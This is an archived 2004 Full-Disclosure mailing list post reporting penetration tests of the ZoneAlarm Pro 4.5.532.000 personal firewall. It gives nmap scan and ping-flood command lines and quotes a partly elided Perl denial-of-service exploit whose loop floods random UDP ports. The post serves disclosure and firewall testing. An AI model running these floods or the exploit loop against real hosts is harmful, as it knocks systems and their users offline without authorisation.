[Full-Disclosure] Vulnerability ZoneAlarm Pro 4.5.532.000

• Previous message: Charlie Harvey : "Re: [Full-Disclosure] Campus wide anti virus"
• Next in thread: John LaCour: "RE: [Full-Disclosure] Vulnerability ZoneAlarm Pro 4.5.532.000"
• Maybe reply: John LaCour: "RE: [Full-Disclosure] Vulnerability ZoneAlarm Pro 4.5.532.000"
• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]

To: <full-disclosure@lists.netsys.com>
Date: Wed, 28 Jan 2004 13:56:10 +0100

Hi, Due to the many user requests, Mixter and I have conceded to make
further short penetration tests of well-used personal firewalls.
Today's Target: ZoneAlarm Pro 4.5.532.000,
download on 01/27/04 from the official homepage.
Tester:
Mixter: 55Mbit/s connectivity, Attacking System: Gentoo Linux
(www.gentoo.org)

M.Rogge (German-Secure): Target System: Windows XP Professional,
SP-1/SP-2, Office 2003, DSL, 1.8Ghz CPU, 512 MB RAM. All
current Microsoft security patches and service packs installed.

System requirements of Zone Alarm:
- IBM PC or compatible.
- Pentium Processor, at least 233 MHz
- Windows 98SE/ME/2000/XP, 32 MB RAM, 10 MB free HD space

Introduction

The installation of the desktop firewall goes seamlessly and after
a short configuration, the system is ready for use without rebooting.
The usual installation goes easily and we chose the expert option, so
we can allow or deny single programs in our policy beforehand. After
a short start of the Internet Explorer, there is the request if IE
may open a connection. Any connections by running programs are running
seamlessly and cause no problems.

Kinds of Attack and the Consequences

First, we did simple scans, trying pings beforehand (ICMP) to see if
the system would respond despite of the firewall. We used the
following configuration of nmap:

nmap -sS -n -p1-65535 -P <host>

Zone alarm started blocking packets under ICMP/PING/REQUESTS and
so no response packet goes out. When the first attack in form of ICMP
floods (ping -fs1 <host>) was started, Zone Alarm held tight, and blocked
incoming packets reliably and there was no significant impediment
of the system's working performance.

Next, following attack formations were run against Zone Alarm:

Stream (ACK flood) attacks on port 137, 139 and then random ports.

The available bandwidth sunk noticeably here already and am
instant messenger client could no longer keep its connection.
Zone Alarm also decreased performance and spuriously denied
valid connections the the Internet.

Following that, we did a full NMAP TCP scan with random port order:

nmap -sS -n -p1-65535 -TInsane -P0 <host>

Explanation: -sS is a TCP syn stealth port scan using spoofed SYN
packets, and -T Insane allows a very small timeout on the target
system, making the scan faster.
Zone Alarm did its work up to here, though, and blocked incoming
packets, however under noticeably decreased system and CPU performance.

At last, we sent a very fast stream of tiny-sized UDP packets to random
ports
of the target system. These brought Zone Alarm to a grinding halt. So this
was a quite conventional UDP flood, that Zone Alarm didn't withstand!

Also interesting was that Zone Alarm couldn't recognize "targa3"
attacks (tiny fragmented packets of random IP protocol and random
options). Zone Alarm was also on fire here because of the UDP packets
and refused continuing to work. This vulnerability, however, is already
known in older versions, and published as exploit (see below). This is
an attack formation using "ZoneAlarm DoS UDP flood on random port 0-65535",
so, on every possible port via UDP-based DoS on the target system.

The vulnerability: http://seclists.org/lists/bugtraq/2003/Sep/0019.html

/usr/bin/perl
use Socket;
system(clear);
print "\n";
print "--- ZoneAlarm Remote DoS Xploit\n";
print "---\n";
print "--- Discovered & Coded By _6mO_HaCk\n";
print "\n";
.
.
.
.
print "[*] DoSing $target ... wait 1 minute and then CTRL+C to stop\n";
for (;;) {
$size=$rand x $rand x $rand x $rand x $rand x $rand x $rand x $rand x
$rand x $rand x $rand x $rand x $rand x $rand x $rand x $rand x $rand x
$rand x $rand;
$port=int(rand 65000) +1;
send(DoS, 0, $size, sockaddr_in($port, $iaddr));
}
sub usage {die("\n\n[*] Usage : perl $0 <Target>\n\n");}

To make the test complete, also a leak test was performed, which
however was almost not necessary from our perspective, since for this,
in any case a local access must be possible. This test was passed,
and a leak tool could not establish a successfull connection to the outside.

Conclusion

It should be noted, that with such a fast bandwidth as 55MB/s, quite
a large damage can be caused. Also dangerous are the attack methods which
are absolutely realistic and feasible. In everyday use, the Zone Alarm
is surely a useable Desktop Firewall for purely private use, but it was
easy to attack it faster without problems than the Outpost Firewall in
our Tests 1 and 2, in comparison.

Further Informations:

The still more detailed exploit of Zone Alarm:
http://seclists.org/lists/bugtraq/2003/Sep/0019.html

Marko Rogge: http://www.german-secure.de
Mixter's Webpage: http://mixter.void.ru

Over the authors: Mixter: Author TFN2k (Tribe Flood network 2000),
Securityexperte, programmer, Hacktivismo. Marko Rogge: IT security advisor
of some projects, book author Hacking internal, free journalist,
Hacktivismo.

German:
http://www.german-secure.de/index.php?option=articles&task=viewarticle&artid
=59&Itemid=3

Englisch:
http://www.german-secure.de/index.php?option=articles&task=viewarticle&artid
=60&Itemid=3

Testing:
Mixter & M.Rogge, 27.01.04
German-Secure & Mixtersecurity

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

• Previous message: Charlie Harvey : "Re: [Full-Disclosure] Campus wide anti virus"
• Next in thread: John LaCour: "RE: [Full-Disclosure] Vulnerability ZoneAlarm Pro 4.5.532.000"
• Maybe reply: John LaCour: "RE: [Full-Disclosure] Vulnerability ZoneAlarm Pro 4.5.532.000"
• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]